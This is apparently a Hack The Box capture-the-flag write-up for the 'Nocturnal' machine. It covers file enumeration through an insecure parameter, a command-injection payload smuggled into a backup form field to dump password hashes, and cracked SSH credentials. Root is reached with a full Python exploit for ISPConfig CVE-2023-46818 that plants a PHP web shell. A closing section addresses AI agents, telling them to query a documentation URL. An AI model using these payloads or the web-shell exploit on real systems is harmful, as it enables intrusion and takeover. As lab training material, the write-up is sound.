# Nocturnal

<figure><img src="/files/c6RpkvdVUaT7A8gd9reB" alt=""><figcaption></figcaption></figure>

## Recon

```
[*] Running initial Nmap scan...
sudo nmap -sCV -T4 10.10.11.64 -oA nmap-initial
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-03 18:59 CEST
Nmap scan report for nocturnal.htb (10.10.11.64)
Host is up (0.020s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
|   256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_  256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Welcome to Nocturnal
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

### Website

<figure><img src="/files/hU2IQ6k0uwCyAkj0WkNb" alt=""><figcaption></figcaption></figure>

In the website we can register a User and upload some files.

Intercepting the request of viewing a file we detect possible entrypoint and send it to the repeater:

```
GET /view.php?username=htb%40htb.com&file=file.pdf HTTP/1.1
Host: nocturnal.htb
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://nocturnal.htb/dashboard.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=3if78g1uefu5ld57otpvgst9k5
Connection: keep-alive
```

## User

Adding an asterix to the query we try to get files from other users:<br>

<figure><img src="/files/lEV9l2J7JUR6i7dfnGs9" alt=""><figcaption></figcaption></figure>

Starting the intruder with /seclists/Usernames/xato-net-10-million-usernames.txt we find some other user files. While grepping for "Available files for download" we find some users. Admin and tobias have no files but amanda got one interesting privacy.odt

<figure><img src="/files/iQYXIe2f5d9IGVGjbgqN" alt=""><figcaption></figcaption></figure>

```
Dear Amanda,
Nocturnal has set the following temporary password for you: arHkG7HAI68X8s1J. This password has been set for all our services, so it is essential that you change it on your first login to ensure the security of your account and our infrastructure.
The file has been created and provided by Nocturnal's IT team. If you have any questions or need additional assistance during the password change process, please do not hesitate to contact us.
Remember that maintaining the security of your credentials is paramount to protecting your information and that of the company. We appreciate your prompt attention to this matter.

Yours sincerely,
Nocturnal's IT team
```

We are login in using these credentials.

<figure><img src="/files/Gn6EL1nc3HDWFkfU2pDB" alt=""><figcaption></figcaption></figure>

We can see some juice-files at the Admin-Panel:

{% code title=" login.php" overflow="wrap" %}

```
<?php
session_start();
$db = new SQLite3('../nocturnal_database/nocturnal_database.db');

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $username = $_POST['username'];
    $password = $_POST['password'];

    $stmt = $db->prepare("SELECT * FROM users WHERE username = :username");
    $stmt->bindValue(':username', $username, SQLITE3_TEXT);
    $result = $stmt->execute()->fetchArray();

    if ($result && md5($password) === $result['password']) {
        $_SESSION['user_id'] = $result['id'];
        $_SESSION['username'] = $username;
        header('Location: dashboard.php');
        exit();
    } else {
        $error = 'Invalid username or password.';
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
    <div class="container">
        <h1>Login</h1>
        <?php if (isset($error)): ?>
            <p class="error"><?php echo $error; ?></p>
        <?php endif; ?>
        <form method="post">
            <input type="text" name="username" placeholder="Username" required>
            <input type="password" name="password" placeholder="Password" required>
            <button type="submit">Login</button>
        </form>
        <a href="register.php">Don't have an account? Register here</a>
    </div>
</body>
</html>
```

{% endcode %}

Moreover we find a vulnerability when we test the creating backup function at the bottom.

<figure><img src="/files/HQr0UbTLyW3EOVvdgHos" alt=""><figcaption></figcaption></figure>

After some testing we find a dump with hashes:

{% code overflow="wrap" %}

```
POST /admin.php?view=dashboard.php HTTP/1.1
Host: nocturnal.htb
Content-Length: 108
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://nocturnal.htb
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://nocturnal.htb/admin.php?view=dashboard.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=eijjmosqk4m5ggpfg3fa7uosru
Connection: keep-alive

password=%0Abash%09-
c%09"sqlite3%09/var/www/nocturnal_database/nocturnal_database.db%09.dump"%0A
&backup=
```

{% endcode %}

```
INSERT INTO users VALUES(1,'admin','d725aeba143f575736b07e045d8ceebb');
INSERT INTO users VALUES(2,'amanda','df8b20aa0c935023f99ea58358fb63c4');
INSERT INTO users VALUES(4,'tobias','55c82b1ccd55ab219b3b109b07d5061d');
INSERT INTO users VALUES(6,'kavi','f38cde1654b39fea2bd4f72f1ae4cdda');
INSERT INTO users VALUES(7,'e0Al5','101ad4543a96a7fd84908fd0d802e7db');
```

Throwing these hashes into a file and cracking them using [crackstation](https://crackstation.net/):

<figure><img src="/files/j7cZVlB29sAWLwD1wX1O" alt=""><figcaption></figcaption></figure>

We can login as tobias

```
➜ ssh tobias@nocturnal.htb
tobias@nocturnal.htb's password: slowmotionapocalypse
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-212-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

```

## Root

Beside the port 80 we know we find another websever running on port 8080

{% code overflow="wrap" %}

```
tobias@nocturnal:~$ netstat -tupln
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                  
```

{% endcode %}

We gonna forward this via ssh&#x20;

```
➜ ssh -L 8080:127.0.0.1:8080 tobias@nocturnal.htb
tobias@nocturnal.htb's password: slowmotionapocalypse
bind [127.0.0.1]:8080: Address already in use
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-212-generic x86_64)


```

The password of tobias as admin does work here as well.

<figure><img src="/files/55B6lOxgtdkAZPPm65Dh" alt=""><figcaption></figcaption></figure>

The the Help Panel we detect `ISPConfig Version: 3.2.10p1`&#x20;

With that information we find the [CVE-2023-468181](https://github.com/blindma1den/CVE-2023-46818-Exploit)

{% code overflow="wrap" %}

```
git clone https://github.com/blindma1den/CVE-2023-46818-Exploit.git

cd CVE-2023-46818-Exploit

python3 exploit.py http://127.0.0.1:8080 admin slowmotionapocalypse

[+] Logging in as 'admin'
[+] Login successful.
[+] Injecting PHP shell...
[+] Shell dropped at 'sh.php'
[+] Web shell ready. Type commands below. Ctrl+C or 'exit' to quit.

ispconfig-shell# id
uid=0(root) gid=0(root) groups=0(root)


```

{% endcode %}

In case you havin trouble because of the missing crsf-cookie you can use this script, same usage.<br>

```
import requests
import sys
import base64
import string
import random

def format_url(url):
    if not url.startswith(('http://', 'https://')):
        raise ValueError("URL must start with http:// or https://")
    return url if url.endswith('/') else url + '/'

def login(session, base_url, username, password):
    print(f"[+] Logging in as '{username}'")
    login_url = base_url + "login/"
    data = {
        'username': username,
        'password': password,
        's_mod': 'login'
    }
    response = session.post(login_url, data=data, verify=False)
    if "Username or Password wrong" in response.text:
        sys.exit("[-] Login failed.")
    print("[+] Login successful.")
    print(f"[+] Cookies set: {session.cookies.get_dict()}")
    return session

def get_csrf_tokens(response_text):
    try:
        csrf_id = response_text.split('_csrf_id" value="')[1].split('"')[0]
        csrf_key = response_text.split('_csrf_key" value="')[1].split('"')[0]
        return csrf_id, csrf_key
    except IndexError:
        print("[-] Warning: Couldn't extract CSRF tokens using standard method.")
        # Try alternative extraction methods if needed
        try:
            # More robust regex or alternative extraction could be added here
            csrf_id = response_text.split('name="_csrf_id" value="')[1].split('"')[0]
            csrf_key = response_text.split('name="_csrf_key" value="')[1].split('"')[0]
            return csrf_id, csrf_key
        except:
            sys.exit("[-] Failed to extract CSRF tokens.")

def inject_shell(session, base_url):
    print("[+] Injecting PHP shell...")
    php_payload = "<?php print('____'); passthru(base64_decode($_SERVER['HTTP_C'])); print('____'); ?>"
    encoded_payload = base64.b64encode(php_payload.encode()).decode()
    payload = f"'];file_put_contents('sh.php',base64_decode('{encoded_payload}'));die;#"
    lang_file = ''.join(random.choices(string.ascii_letters, k=8)) + ".lng"
    edit_url = base_url + "admin/language_edit.php"
    data = {
        'lang': 'en',
        'module': 'help',
        'lang_file': lang_file
    }
    response = session.post(edit_url, data=data, verify=False)
    csrf_id, csrf_key = get_csrf_tokens(response.text)
    data.update({
        '_csrf_id': csrf_id,
        '_csrf_key': csrf_key,
        'records[\\]': payload
    })
    session.post(edit_url, data=data, verify=False)
    print("[+] Shell dropped at 'sh.php'")

def interactive_shell(session, base_url):
    print("[+] Web shell ready. Type commands below. Ctrl+C or 'exit' to quit.")
    shell_url = base_url + "admin/sh.php"
    while True:
        try:
            cmd = input("\nispconfig-shell# ")
            if cmd.lower() == "exit":
                print("[+] Bye!")
                break
            headers = {'C': base64.b64encode(cmd.encode()).decode()}
            response = session.get(shell_url, headers=headers, verify=False)
            if "____" in response.text:
                output = response.text.split("____")[1]
                print(output.strip())
            else:
                print("[-] No output or execution failed.")
        except KeyboardInterrupt:
            print("\n[+] Interrupted. Exiting.")
            break

def main():
    if len(sys.argv) != 4:
        print(f"Usage: python {sys.argv[0]} <URL> <Username> <Password>")
        sys.exit(1)
    url = format_url(sys.argv[1])
    username = sys.argv[2]
    password = sys.argv[3]
    requests.packages.urllib3.disable_warnings()
    session = requests.Session()
    session = login(session, url, username, password)
    inject_shell(session, url)
    interactive_shell(session, url)

if __name__ == "__main__":
    main()
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://mux1337.gitbook.io/write-up-_/hack-the-box/machines/nocturnal.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
